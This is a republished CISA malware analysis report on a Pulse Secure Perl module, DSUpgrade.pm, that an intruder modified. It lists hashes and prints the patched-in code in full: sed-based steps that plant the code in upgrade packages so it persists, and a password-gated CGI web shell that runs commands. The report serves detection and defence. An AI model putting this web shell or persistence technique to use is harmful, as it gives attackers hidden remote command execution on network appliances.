This article is contributed. See the original author and article here.

Malware Analysis Report

10336935.r1.v1

2021-07-14

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA received one file for analysis. The file is a Pulse Secure system application which has been modified by a malicious cyber actor. The file contains a Common Gateway Interface (CGI) code designed to modify several Pulse Secure system files utilizing the SED command. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10336935-1.v1.WHITE.stix.

Submitted Files (1)

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7 (DSUpgrade.pm)

Findings

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

Tags

webshell

Details
Name DSUpgrade.pm
Size 9783 bytes
Type Perl5 module source, ASCII text
MD5 5009b307214abc4ba5e24fa99133b934
SHA1 afc52937829c78cb14ec087e66e39be3571e00ca
SHA256 64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7
SHA512 97646de4d68a303fba971c6c83f6077125d4e6e2c02bbeee22881855265c8307fd66c391489aaafdf640e1316e1b63978c66ecadfb04f37bc6755a9e607b129d
ssdeep 192:eIB1XcTfXss+nBqXb+TSWbgXCiwWjoBTWFI4MhiirXHLwQBN0G2BiF3Ar8yXpayc:eIB1X1phiJ/irZN0G2BiF3CjCswmPyVv
Entropy 5.228827
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a legitimate Pulse Secure PERL application with malicious CGI code patched in. The malicious CGI code is designed to modify several Pulse Secure system files utilizing the SED command.

–Begin Patched In Commented CGI Code–
##start_total
##perlstart
system(“/bin/mount -o remount,rw /dev/root /”);
system(“/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install”);
my $statushh = $? % 255;
if( $statushh != 0 )
{
       system(“/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm”);    
       system(“/bin/sed -i ‘/##start_total/,/##end_total/w K872Bu’ /home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/DSINSTALL_CLEAN/r K872Bu’ ./root/home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/##cgistart1/,/##cgiend1/w Mj1Za’ /home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/##cgistart2/,/##cgiend2/w 1uMfVB’ /home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/^use DSUtilTable/r Mj1Za’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/sed -i ‘/^sub main/r 1uMfVB’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/sed -i ‘/##cgistart1/,/##cgiend1/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/sed -i ‘/##cgistart2/,/##cgiend2/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/usr/bin/gzip -d /tmp/new-pack.tgz”);
       system(“/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm”);
       system(“/bin/rm -f K872Bu”);
       system(“/bin/rm -f Mj1Za”);
       system(“/bin/rm -f 1uMfVB”);    
       system(“/bin/rm -fr root”);
       system(“rm -f /tmp/new-pack.tgz”);
       system(“/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz”);                                        
}
else{
system(“/bin/sed -i ‘/##start_total/,/##end_total/w Nc3Gy.pm’ /home/perl/DSUpgrade.pm”);
system(“/bin/sed -i ‘/packdecrypt/r Nc3Gy.pm’ ./installer/outer-do-install”);
system(“/bin/sed -i ‘/##perlstart/,/##perlend/s/^/#/’ ./installer/outer-do-install”);
system(“/bin/sed -i ‘/##scriptstart/,/##scriptend/s/#//’ ./installer/outer-do-install”);
system(“/usr/bin/gzip -d /tmp/new-pack.tgz”);
system(“/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install”);
system(“rm -f Nc3Gy.pm”);
system(“rm -f /tmp/new-pack.tgz”);
system(“/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz”);
system(“rm -fr installer”);
}

##perlend

###scriptstart
#/bin/mount -o remount,rw /dev/root /
#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm
#/bin/sed -i ‘/##start_total/,/##end_total/w 7CxA1p’ outer-do-install
#/bin/sed -i ‘/DSINSTALL_CLEAN/r 7CxA1p’ ./root/home/perl/DSUpgrade.pm
#/bin/sed -i ‘/##cgistart1/,/##cgiend1/w GqTv3w’ outer-do-install
#/bin/sed -i ‘/##cgistart2/,/##cgiend2/w Vi6d8h4’ outer-do-install
#/bin/sed -i ‘/^use DSUtilTable/r GqTv3w’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/^sub main/r Vi6d8h4’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/##cgistart1/,/##cgiend1/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/##cgistart2/,/##cgiend2/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/##perlstart/,/##perlend/s/#//’ ./root/home/perl/DSUpgrade.pm
#/bin/sed -i ‘/##scriptstart/,/##scriptend/s/^/#/’ ./root/home/perl/DSUpgrade.pm
#/usr/bin/gzip -d $innerarchive
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm
#/bin/rm -f 7CxA1p
#/bin/rm -f GqTv3w
#/bin/rm -f Vi6d8h4
#/bin/rm -fr root
#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive
###scriptend

###cgistart1
#use lib ($ENV{‘DSINSTALL’} =~ /(S*)/)[0] . “/perl/lib”;
#use lib ($ENV{‘DSINSTALL’} =~ /(S*)/)[0] . “/perl/lib/MIME/Base64”;
#use Crypt::RC4;
#use MIME::Base64 ();
#
#sub parse_parameters ($) {
# my %ret;
#
# my $input = shift;
#
# foreach my $pair (split(‘&’, $input)) {
#    my ($var, $value) = split(‘=’, $pair, 2);
#    
#    if($var) {
#     $value =~ s/+/ /g ;
#     $value =~ s/%(..)/pack(‘c’,hex($1))/eg;
#
#     $ret{$var} = $value;
#    }
# }
#
# return %ret;
#}
###cgiend1

###cgistart2
#    my $enckey=’1234567′;
#    my $data=’1234567812345678′;
#        my $cipher = RC4($enckey, $data);    
#        my $encode = MIME::Base64::encode($cipher);
#    my $psalLaunch = CGI::param(“CPrimerPlus”);
#    if ($psalLaunch =~ /<REDACTED>/)
#    {
#    my ($cmd, %FORM);
#
#    $|=1;
#
#    print “Content-Type: text/htmlrn”;
#    print “rn”;
#    %FORM = parse_parameters($ENV{‘QUERY_STRING’});
#
#    if(defined $FORM{‘cmd’}) {
#     $cmd = $FORM{‘cmd’};
#    }
#
#print ‘<HTML>
#<body>
#<form action=”” method=”GET”>
#<input type=”text” name=”cmd” size=45 value=”‘ . $cmd . ‘”>
#<input type=”text” name=”CPrimerPlus” size=45 value=”<REDACTED>”>
#<input type=”submit” value=”Run”>
#</form>
#<pre>’;
#
#if(defined $FORM{‘cmd’}) {
# print “Results of ‘$cmd’ execution:nn”;
# print “-“x80;
# print “n”;
#
# print $encode;
# system $cmd;
# print “-“x80;
# print “n”;
#}
# print “</pre>”;
# exit(0);
#    }
###cgiend2
–End Patched In Commented CGI Code–

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  • Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

Brought to you by Dr. Ware, Microsoft Office 365 Silver Partner, Charleston SC.